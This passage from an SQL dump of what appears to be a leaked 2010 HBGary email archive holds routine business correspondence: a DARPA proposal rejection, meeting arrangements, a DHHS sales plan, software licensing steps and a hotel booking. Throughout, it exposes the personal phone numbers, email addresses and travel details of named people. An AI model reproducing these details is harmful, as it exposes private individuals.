--\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',6564,'aaron_hbgary_com/6564.html'),(6202,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004443.M598453P14101Q1057.eml','\"Christopher Starr\" <Chris.Starr@gd-ais.com>','Any word','Chris,\r\n\r\nWe received word today we were not selected.  Did you want to meet this week?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',1000,'aaron_hbgary_com/1000.html'),(6203,'2010-05-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004443.M837593P14101Q1058.eml','\"Aaron Barr\" <aaron@hbgary.com>','Rejection Letter','This letter is in reference to your proposal \"DARPA Cyber Genome TA3\",\r\nsubmitted in response to the BAA 10-36...\r\n\r\nYour proposal was reviewed in accordance with the criteria set forth in\r\nthat announcement.  We regret to inform you that your proposal was not\r\nselected for funding.\r\n\r\nThank you for your participation in this announcement.  Your efforts in\r\nexpressing the concepts and plans in your proposal are appreciated.  We\r\nlook forward to your continued participation in future solicitations.\r\nShould you have any questions, please contact me by email at:\r\nDARPA-BAA-10-36@darpa.mil\r\n\r\nTed\r\n',3331,'aaron_hbgary_com/3331.html'),(6204,'2010-05-11','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297004444.M270883P14101Q1060.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Any word','Aaron,\r\n\r\nArg.  I am sorry to hear that.  We have not received any word so far on\r\nTechnical Area 1.  Hopefully no news is good news.  \r\n\r\nHow about Friday lunch?  Would that work?\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 11, 2010 1:26 PM\r\nTo: Starr, Christopher H.\r\nSubject: Any word\r\n\r\nChris,\r\n\r\nWe received word today we were not selected.  Did you want to meet this\r\nweek?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',5587,'aaron_hbgary_com/5587.html'),(6205,'2010-05-11','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297004444.M493952P14101Q1061.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>,porras@csl.sri.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','no word yet on Technical Area 1','Aaron,\r\n\r\nArg.  I am sorry to hear that.  GDAIS has not received any word so far\r\non Technical Area 1.  Hopefully no news is good news.  \r\n\r\nAs soon as we hear something I will let everyone know.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 11, 2010 1:33 PM\r\nTo: Anita D\'Amico; Irby Thompson; porras@csl.sri.com; Bob Slapnik;\r\nStarr, Christopher H.\r\nCc: Ted Vera\r\nSubject: TA-3\r\n\r\nAll,\r\n\r\nRegretfully our proposal was not selected for funding.  I thank you\r\nfor all your hard work, it was actually a pleasure to work with all of\r\nyou.  I will be contacting DARPA for a debrief and will let you know\r\nwhat I hear.\r\n\r\nThank you,\r\nAaron\r\n\r\nSent from my iPad\r\n',14187,'aaron_hbgary_com/14187.html'),(6206,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004444.M52586P14101Q1059.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>,porras@csl.sri.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Christopher Starr\" <Chris.Starr@gd-ais.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','TA-3','All,\r\n\r\nRegretfully our proposal was not selected for funding.  I thank you\r\nfor all your hard work, it was actually a pleasure to work with all of\r\nyou.  I will be contacting DARPA for a debrief and will let you know\r\nwhat I hear.\r\n\r\nThank you,\r\nAaron\r\n\r\nSent from my iPad\r\n',6151,'aaron_hbgary_com/6151.html'),(6207,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004444.M719665P14101Q1062.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Any word','Sure.\r\n\r\nSent from my iPad\r\n\r\nOn May 11, 2010, at 1:53 PM, \"Starr, Christopher H.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Arg.  I am sorry to hear that.  We have not received any word so far on\r\n> Technical Area 1.  Hopefully no news is good news.\r\n>\r\n> How about Friday lunch?  Would that work?\r\n>\r\n> Chris\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, May 11, 2010 1:26 PM\r\n> To: Starr, Christopher H.\r\n> Subject: Any word\r\n>\r\n> Chris,\r\n>\r\n> We received word today we were not selected.  Did you want to meet this\r\n> week?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n',15303,'aaron_hbgary_com/15303.html'),(6208,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004445.M342011P14101Q1064.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Any word','Sure.on the road.\r\n\r\nSent from my iPad\r\n\r\nOn May 11, 2010, at 1:56 PM, \"Starr, Christopher H.\"\r\n wrote:\r\n\r\n> If you are free I can give you a call in about 15 minutes.\r\n>\r\n> Chris\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, May 11, 2010 1:55 PM\r\n> To: Starr, Christopher H.\r\n> Subject: Re: Any word\r\n>\r\n> Sure.\r\n>\r\n> Sent from my iPad\r\n>\r\n> On May 11, 2010, at 1:53 PM, \"Starr, Christopher H.\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Arg.  I am sorry to hear that.  We have not received any word so far\r\n> on\r\n>> Technical Area 1.  Hopefully no news is good news.\r\n>>\r\n>> How about Friday lunch?  Would that work?\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, May 11, 2010 1:26 PM\r\n>> To: Starr, Christopher H.\r\n>> Subject: Any word\r\n>>\r\n>> Chris,\r\n>>\r\n>> We received word today we were not selected.  Did you want to meet\r\n> this\r\n>> week?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n',1927,'aaron_hbgary_com/1927.html'),(6209,'2010-05-11','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>','/aaron@hbgary.com/new/1297004445.M548127P14101Q1065.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: NDA and Collaboration','Hi Aaron,\r\n\r\nThe webex presentation was great, thanks so much, it really demontrated\r\nthe power of your product. I will be in D.C. tommorow (and Rafal may be\r\nas well) and I was wondering if it was possible to set up a meeting in\r\nthe afternoon. I\'ll bring some malware samples along and was wondering\r\nif I could get some hands on time analyzing them.\r\n\r\nMy number is 647 929 3875.\r\n\r\nThanks.\r\nNart\r\n',11031,'aaron_hbgary_com/11031.html'),(6210,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004445.M763736P14101Q1066.eml','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>','Re: NDA and Collaboration','Nart,\r\n\r\nTomorrow afternoon is good.  How about 2pm in tysons corner?\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 11, 2010, at 1:55 PM, Nart Villeneuve  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> The webex presentation was great, thanks so much, it really demontrated\r\n> the power of your product. I will be in D.C. tommorow (and Rafal may be\r\n> as well) and I was wondering if it was possible to set up a meeting in\r\n> the afternoon. I\'ll bring some malware samples along and was wondering\r\n> if I could get some hands on time analyzing them.\r\n>\r\n> My number is 647 929 3875.\r\n>\r\n> Thanks.\r\n> Nart\r\n',16778,'aaron_hbgary_com/16778.html'),(6211,'2010-05-11','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297004445.M84953P14101Q1063.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Any word','If you are free I can give you a call in about 15 minutes.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 11, 2010 1:55 PM\r\nTo: Starr, Christopher H.\r\nSubject: Re: Any word\r\n\r\nSure.\r\n\r\nSent from my iPad\r\n\r\nOn May 11, 2010, at 1:53 PM, \"Starr, Christopher H.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Arg.  I am sorry to hear that.  We have not received any word so far\r\non\r\n> Technical Area 1.  Hopefully no news is good news.\r\n>\r\n> How about Friday lunch?  Would that work?\r\n>\r\n> Chris\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, May 11, 2010 1:26 PM\r\n> To: Starr, Christopher H.\r\n> Subject: Any word\r\n>\r\n> Chris,\r\n>\r\n> We received word today we were not selected.  Did you want to meet\r\nthis\r\n> week?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n',11550,'aaron_hbgary_com/11550.html'),(6212,'2010-05-11','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297004446.M263125P14101Q1068.eml','\"Aaron Barr\" <aaron@hbgary.com>,penny@hbgary.com,greg@hbgary.com','Senate Confirms Military Cybersecurity Chief','FYI -- Keith Alexander confirmed; interesting&nbsp;small mention&nbsp;in article about CyberCommand\'s possible use of offensive cyber weapons.&nbsp;\r\n&nbsp;\r\nhttp://www.informationweek.com/news/government/security/showArticle.jhtml?articleID=224701513&amp;cid=RSSfeed_IWK_Security\r\n\"While Alexander focused more on cyber-defense, he did say in written answers to Senators\' questions that \"under the right circumstances,\" Cyber Command would have the authority to use offensive cyber weapons against military command and control networks, weapons, power grids, transportation-related networks, national telecommunications networks, and even enemies\' financial institutions. \"',8491,'aaron_hbgary_com/8491.html'),(6213,'2010-05-11','\"Paul Rooney\" <prooney3@csc.com>','/aaron@hbgary.com/new/1297004446.M30457P14101Q1067.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: CTSC','\r\nAaron - give me a call anytime to discuss.\r\nI do not believe based on client discussions that the government will make\r\nanother award to SAIC in V group.I also do not believe that SAIC will partner\r\nwith us. But, I am having lunch with Scott next Friday. \r\n\r\nThanks,\r\n\r\nPaul\r\n\r\nPaul Rooney\r\nDirector\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7303 &nbsp;c: 410-245-7904\r\nf: 443.445.7134\r\nprooney3@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nPaul Rooney/USA/CSC@CSC\r\n\r\nDate:\r\n05/10/2010 04:06 PM\r\n\r\nSubject:\r\nCTSC\r\n\r\n\r\n\r\n\r\nPaul,\r\n\r\nI had a conversation with SAIC today, Scott Sheldon. &nbsp;Do you have\r\nsome\r\ntime to discuss? &nbsp;Not sure if you are aware but Northrop chose the\r\nBooz team. &nbsp;Also word that I got from SAIC and others is Booz isn\'t\r\nnecessarily that weak. &nbsp;Seems to me it will take a very strong team\r\nto\r\nunseat Booz and i think an SAIC/CSC team could do it, separate given\r\nBooz not very vulnerable seems like a longer shot. &nbsp;Just wondering\r\nyour thoughts.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n',10981,'aaron_hbgary_com/10981.html'),(6214,'2010-05-11','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004446.M493938P14101Q1069.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: TA-3','Aaron,\r\n\r\nSorry to hear that we did not win on TA-3. I still have high hopes for TA-1.\r\n\r\nDefinitely want to continue our conversation from last week. I think an HBGary-Pikewerks partnership makes a lot of sense on several fronts (commercial forensics marketspace, DoD/Intel network warfare marketspace, cybersecurity R&D marketspace). I am out of town this week and next, but would like to catch up with you and Bob around the end of the month (hopefully we will also be celebrating TA-1 :-)\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\nOn May 11, 2010, at 1:32 PM, Aaron Barr wrote:\r\n\r\n> All,\r\n> \r\n> Regretfully our proposal was not selected for funding.  I thank you\r\n> for all your hard work, it was actually a pleasure to work with all of\r\n> you.  I will be contacting DARPA for a debrief and will let you know\r\n> what I hear.\r\n> \r\n> Thank you,\r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n\r\n',14212,'aaron_hbgary_com/14212.html'),(6215,'2010-05-11','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004446.M727900P14101Q1070.eml','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>,\"Aaron Barr\" <aaron@hbgary.com>,\"Nart Villeneuve\" <n.villeneuve@secdev.ca>,\"Aaron Barr\" <aaron@hbgary.com>','HBGary Software and meeting up tomorrow','Hi Nart,\r\n\r\nI hope you spoke with Aaron and have set something up for tomorrow.  I\'m\r\nlooking forward to meeting up and getting you going on Responder Pro with\r\nDDNA and REcon.  \r\n\r\nBefore we meet up tomorrow, please go to our website and register for an\r\naccount on our portal page - www.hbgary.com/portal.  Once you\'ve created an\r\naccount please send me an email to let me know the email address tied to the\r\naccount, and I give you rights to download software.  Once you have the\r\nsoftware I can get you a software license key to start using the software\r\nright away.  To get the Software License you need to run the Responder\r\nInstaller, this will generate a MachineID number which you will send to\r\nrich@hbgary.com and also support@hbgary.com.  We will then generate the\r\nsoftware license and send it back over, then you can simply copy and paste\r\nthe license number into Responder Pro and you\'re good to go.\r\n\r\nplease let me know if you have any problems.\r\n\r\nThanks!\r\nRich\r\n\r\n\r\nRich Cummings| CTO | HBGary, Inc\r\n3604 Fair Oaks Blvd, Suite 250 Sacramento, Ca 95864\r\n703-999-5012 cell |  301-652-8885 x112 office | 916-481-1960 fax\r\nww.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Nart Villeneuve [mailto:n.villeneuve@secdev.ca] \r\nSent: Tuesday, May 11, 2010 1:56 PM\r\nTo: Aaron Barr\r\nCc: Ted Vera; rich@hbgary.com\r\nSubject: Re: NDA and Collaboration\r\n\r\nHi Aaron,\r\n\r\nThe webex presentation was great, thanks so much, it really demontrated\r\nthe power of your product. I will be in D.C. tommorow (and Rafal may be\r\nas well) and I was wondering if it was possible to set up a meeting in\r\nthe afternoon. I\'ll bring some malware samples along and was wondering\r\nif I could get some hands on time analyzing them.\r\n\r\nMy number is 647 929 3875.\r\n\r\nThanks.\r\nNart\r\n\r\n',6095,'aaron_hbgary_com/6095.html'),(6216,'2010-05-11','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>','/aaron@hbgary.com/new/1297004446.M926260P14101Q1071.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA and Collaboration','Sounds great!\r\n-nart\r\n\r\nOn 05/11/2010 02:22 PM, Aaron Barr wrote:\r\n> Nart,\r\n> \r\n> Tomorrow afternoon is good.  How about 2pm in tysons corner?\r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On May 11, 2010, at 1:55 PM, Nart Villeneuve  wrote:\r\n> \r\n>> Hi Aaron,\r\n>>\r\n>> The webex presentation was great, thanks so much, it really demontrated\r\n>> the power of your product. I will be in D.C. tommorow (and Rafal may be\r\n>> as well) and I was wondering if it was possible to set up a meeting in\r\n>> the afternoon. I\'ll bring some malware samples along and was wondering\r\n>> if I could get some hands on time analyzing them.\r\n>>\r\n>> My number is 647 929 3875.\r\n>>\r\n>> Thanks.\r\n>> Nart\r\n> \r\n',601,'aaron_hbgary_com/601.html'),(6217,'2010-05-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004447.M320700P14101Q1072.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Webex with DHHS','Greg\r\n \r\nIt would be great on Wed if you can do a Webex for Dept Health and Human Services.  Long-term this will be a great account for us and we need to align with them on the BIG PICTURE which includes our vision and approach.\r\n\r\n \r\nContacts\r\nMichael Cox is Project Manager (responsible for product selection)\r\nWally Wilhoit reports to Michael Cox and responsible for forensics and IR\r\nBryon Hundley works for Wally and used Responder Pro at GE\r\n \r\nBackground &amp; Opportunity\r\n \r\nRumour is that DHHS has $44million in stimulous money to build a SOC.  They support approximately 9+ agencies including FDA.  They don&#39;t have access to their &quot;client&quot; networks.  Their vision is to provides services to the individual agencies and view the agencies as their client.  They are in the procurement process to acquire Responder Pro at the SOC.  \r\n\r\n \r\nDHHS SOC is in infancy stage\r\n \r\nThis is similar to the situation at USDA expect we have better relationships.  Michael Cox is the PM for the project and is eager to work with us and hear what we can offer.\r\n \r\nIt is up to us to lay out a vision based on HBGary products.  If DHHS buys into a joint vision then they can help us to get DDNA into the agency networks.\r\n \r\nAn idea that discussed with Michael Cox is to purchase HBGary&#39;s Threat Management Center where their clients can upload malware and analyze malware trends within their network and across the other agencies.  This would require services to develop a web front end, trend reporting etc.  \r\n\r\n \r\nShort term opportunities are:\r\n1. Responder Pro for SOC\r\n2. Active Defense for SOC network (not discussed yet)\r\n3. Threat Management Center\r\n4. Assist DHHS SOC with a strategic vision to offer Managed Services to their customers based on Active Defense deployment:\r\n-- reading scans\r\n-- populating TMC and providing trend analysis\r\n-- malware analysis services\r\n-- threat intelligence services\r\n-- &quot;inoculation shots&quot;\r\n \r\nMaria&#39;s goal\r\n \r\n1. To sell a Active Defense paid for pilot to the SOC\r\n2. To sell Threat Management Center with Services\r\n3. Explore the possibility of a joint pilot between the SOC and FDA\r\n  -----FDA is under attack.  FDA has Responder Pro and is purchasing more and longer terms wants a demo of DDNA for EE.\r\n4. Put together a Blanket Purchase Agreement for all DHHS so that individual agencies have a purchasing vehicle\r\n \r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',16424,'aaron_hbgary_com/16424.html'),(6218,'2010-05-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004447.M660521P14101Q1073.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Request for Evaluation Software','Aaron\r\n \r\nI am responsible for the Canada territory.... can you keep me in the loop on next steps... \r\n \r\nThanks\r\nMaria\r\n---------- Forwarded message ----------From: HBGary INC &lt;support@hbgary.com&gt;Date: Tue, May 11, 2010 at 1:15 PM\r\nSubject: Request for Evaluation SoftwareTo: sales@hbgary.comThis is an Evaluation Software Request:Name: Nart VilleneuveEmail: n.villeneuve@secdev.ca\r\nPhone: 647 929 3875Company: SecDevCity: OttawaProv/State: blankCountry: CAProducts: Digital DNA; Responder; FastDump;-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',13323,'aaron_hbgary_com/13323.html'),(6219,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004447.M864331P14101Q1074.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Request for Evaluation Software','Will do.Sent from my iPadOn May 11, 2010, at 4:50 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nAaron\r\n \r\nI am responsible for the Canada territory.... can you keep me in the loop on next steps... \r\n \r\nThanks\r\nMaria\r\n---------- Forwarded message ----------From: HBGary INC &lt;support@hbgary.com&gt;\r\nDate: Tue, May 11, 2010 at 1:15 PM\r\nSubject: Request for Evaluation SoftwareTo: sales@hbgary.comThis is an Evaluation Software Request:Name: Nart Villeneuve\r\nEmail: n.villeneuve@secdev.ca\r\nPhone: 647 929 3875Company: SecDevCity: OttawaProv/State: blankCountry: CAProducts: Digital DNA; Responder; FastDump;-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n',16600,'aaron_hbgary_com/16600.html'),(6220,'2010-05-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004448.M280966P14101Q1076.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Revised Spreadsheets','Begin forwarded message:From: &quot;John L. Cox, CPA&quot; &lt;johncoxcpa@verizon.net&gt;\r\nTo: &#39;Ted Vera&#39; &lt;ted@hbgary.com&gt;Subject: Revised Spreadsheets\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nPlease find attached spreadsheets.  See last tab in labor\r\nspreadsheet for fully burdened rates.\r\n\r\n \r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107\r\n  Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n \r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless\r\nyou are the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;2010 HBGary Federal Preliminary Indirect Rate Calculations.xlsx&gt;&lt;2010 Projected Labor and Related Costs.xlsx&gt;\r\n\r\n',2848,'aaron_hbgary_com/2848.html'),(6221,'2010-05-11','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297004448.M579886P14101Q1077.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Your InterContinental (R) Reservation Confirmation  - MIAMI, FL, UNITED STATES: 60387686','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nHere is your hotel for the First Conference.  Did you want to attend\r\nfor the whole conference?  If not let me know and I will cancel the days you do\r\nnot attend.  Please make arrangements for your flight \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: InterContinental\r\nReservations [mailto:Reservations@InterContinental.com] \r\nSent: Tuesday, May 11, 2010 2:07 PM\r\nTo: deeann@hbgary.com\r\nSubject: Your InterContinental (R) Reservation Confirmation - MIAMI, FL,\r\nUNITED STATES: 60387686\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Modify/Cancel\r\n  Reservation \r\n  View\r\n  All Reservations \r\n  Make\r\n  Another Reservation \r\n  View\r\n  Account \r\n  \r\n  \r\n  Thank you for staying at the\r\n  InterContinental MIAMI. \r\n  \r\n  \r\n  Amenities\r\n  Near Beach \r\n  Outdoor Pool \r\n  Sauna \r\n  Dedicated Lounge \r\n  Iron / Ironing Board \r\n  \r\n  \r\n  Attractions\r\n  South Beach \r\n  Port of Miami \r\n  American Airlines Arena \r\n  Parrot Jungle \r\n  Seaquarium \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Thank\r\n    you for choosing InterContinental. Here is your reservation information. \r\n    \r\n   \r\n   \r\n    \r\n    Reservation\r\n    Questions \r\n    \r\n   \r\n   \r\n    \r\n    Reservation Information \r\n    \r\n   \r\n   \r\n    \r\n    Your\r\n    confirmation number is 60387686\r\n    Please use your confirmation number to reference your reservation.\r\n    \r\n    Guest Name:\r\n    AARON BARR\r\n    \r\n    Additional Guests:\r\n    \r\n    \r\n    No additional guests.\r\n    \r\n   \r\n   \r\n    \r\n    Check-In:\r\n    Sat 12 Jun 2010 at 04:00 PM \r\n    Check-Out: Fri 18 Jun 2010 at 12:00 PM \r\n    \r\n    \r\n    \r\n    \r\n    View/Modify/Cancel\r\n    Reservation \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Hotel Info \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      MIAMI\r\n      InterContinental\r\n      100 CHOPIN PLAZA \r\n      MIAMI , FL 33131 \r\n      1-305-5771000 \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    Helpful Links\r\n    Local\r\n    Maps \r\n    Find\r\n    Attractions\r\n    Make\r\n    Another Reservation \r\n    \r\n   \r\n   \r\n    \r\n    Driving Directions: \r\n    FROM MIAMI INTL APRT: TAKE 836 EAST TO I-95 SOUTH TO BISCAYNE BLVD, EXIT\r\n    2A, DOWN THE RAMP TP BISCAYNE BLVD, THE RIGHT ON CHOPIN PLAZA. FORM NORTH\r\n    (PALM BEACH, FT. LAUDERDALE): FOLOLW DIRECTIONS ABOVE FROM I-95 SOUTH. \r\n    \r\n   \r\n   \r\n    \r\n    Room/Rate Information \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      Rate\r\n      Type:\r\n      \r\n      \r\n      FiRST\r\n      Conference-PH \r\n      \r\n     \r\n     \r\n      \r\n      Group\r\n      Details:\r\n      \r\n      \r\n      ANYONE\r\n      CAN BOOK RESERVATIONS ANYONE CAN BOOK RESERVATIONS \r\n      \r\n     \r\n     \r\n      \r\n      Room\r\n      Type:\r\n      \r\n      \r\n      STANDARD\r\n      ROOM - 2 PERSON(S) MAX PER ROOM \r\n      BED TYPE SMOKING PREFERENCE AND VIEW CAN NOT BE GUARANTEED AND WILL BE\r\n      ALLOCATED UPON ARRIVAL OF GUEST WIRELESS HIGH SPEED INTERNET AVAILABLE AT\r\n      A CHARGE MARBLE BATHROOM FLAT SCREEN TV MINIBAR HAIR DRYER IRON AND BOARD\r\n      SAFE DEPOSIT BOX \r\n      \r\n     \r\n     \r\n      \r\n      Smoking\r\n      Preference: \r\n      \r\n      \r\n      No\r\n      Preference \r\n      \r\n     \r\n     \r\n      \r\n      Number\r\n      of Nights:\r\n      \r\n      \r\n      6\r\n      \r\n      \r\n     \r\n     \r\n      \r\n      Number\r\n      of Rooms:\r\n      \r\n      \r\n      1\r\n      \r\n      \r\n     \r\n     \r\n      \r\n      Person(s):\r\n      \r\n      \r\n      1\r\n      Adult(s), 0 Child(ren)\r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Sat\r\n        12 Jun 2010 - Fri 18 Jun 2010 \r\n        \r\n        \r\n        $189.00 (USD) \r\n        per night (1 room(s)) \r\n        \r\n       \r\n       \r\n        \r\n        Total\r\n        Tax&nbsp;† &nbsp; \r\n        \r\n        \r\n        $147.42 (USD) \r\n        \r\n       \r\n       \r\n        \r\n        Estimated\r\n        Total Price&nbsp;† &nbsp;\r\n        \r\n        \r\n        $1,281.42\r\n        (USD)\r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Rules &amp; Restrictions \r\n    \r\n   \r\n   \r\n    \r\n    -\r\n    Check-in Time: 04:00 PM\r\n    - Check-out Time: 12:00 PM\r\n    \r\n    - Canceling your reservation after 6:00 PM (local hotel time) on 9 June,\r\n    2010, or failing to show, will result in a charge of 1 night per room to\r\n    your credit card. Taxes may apply. Failing to call or show before check-out\r\n    time after the first night of a reservation will result in cancellation of\r\n    the remainder of your reservation. \r\n    \r\n    - Only the reservation as entered into and confirmed by our system will be\r\n    honored. Any written or printed confirmation that has been altered may be\r\n    rejected by the hotel.\r\n    \r\n    † As exchange rates may fluctuate from the time a reservation is made until\r\n    the actual stay, the confirmed rate is guaranteed in the hotel\'s base\r\n    currency.\r\n    \r\n    \r\n    \r\n    † As taxes and service charges may fluctuate from the time a reservation\r\n    is made until the actual stay and during the actual stay, the Total Price\r\n    is an estimate. Other hotel-specific service charges may also apply. Check\r\n    with hotel for details. Additional taxes may apply for hotels booked in\r\n    Tokyo, Japan that exceeds 10,000JPY/person per stay. \r\n    \r\n    † Credit card payments relating to Australian hotels 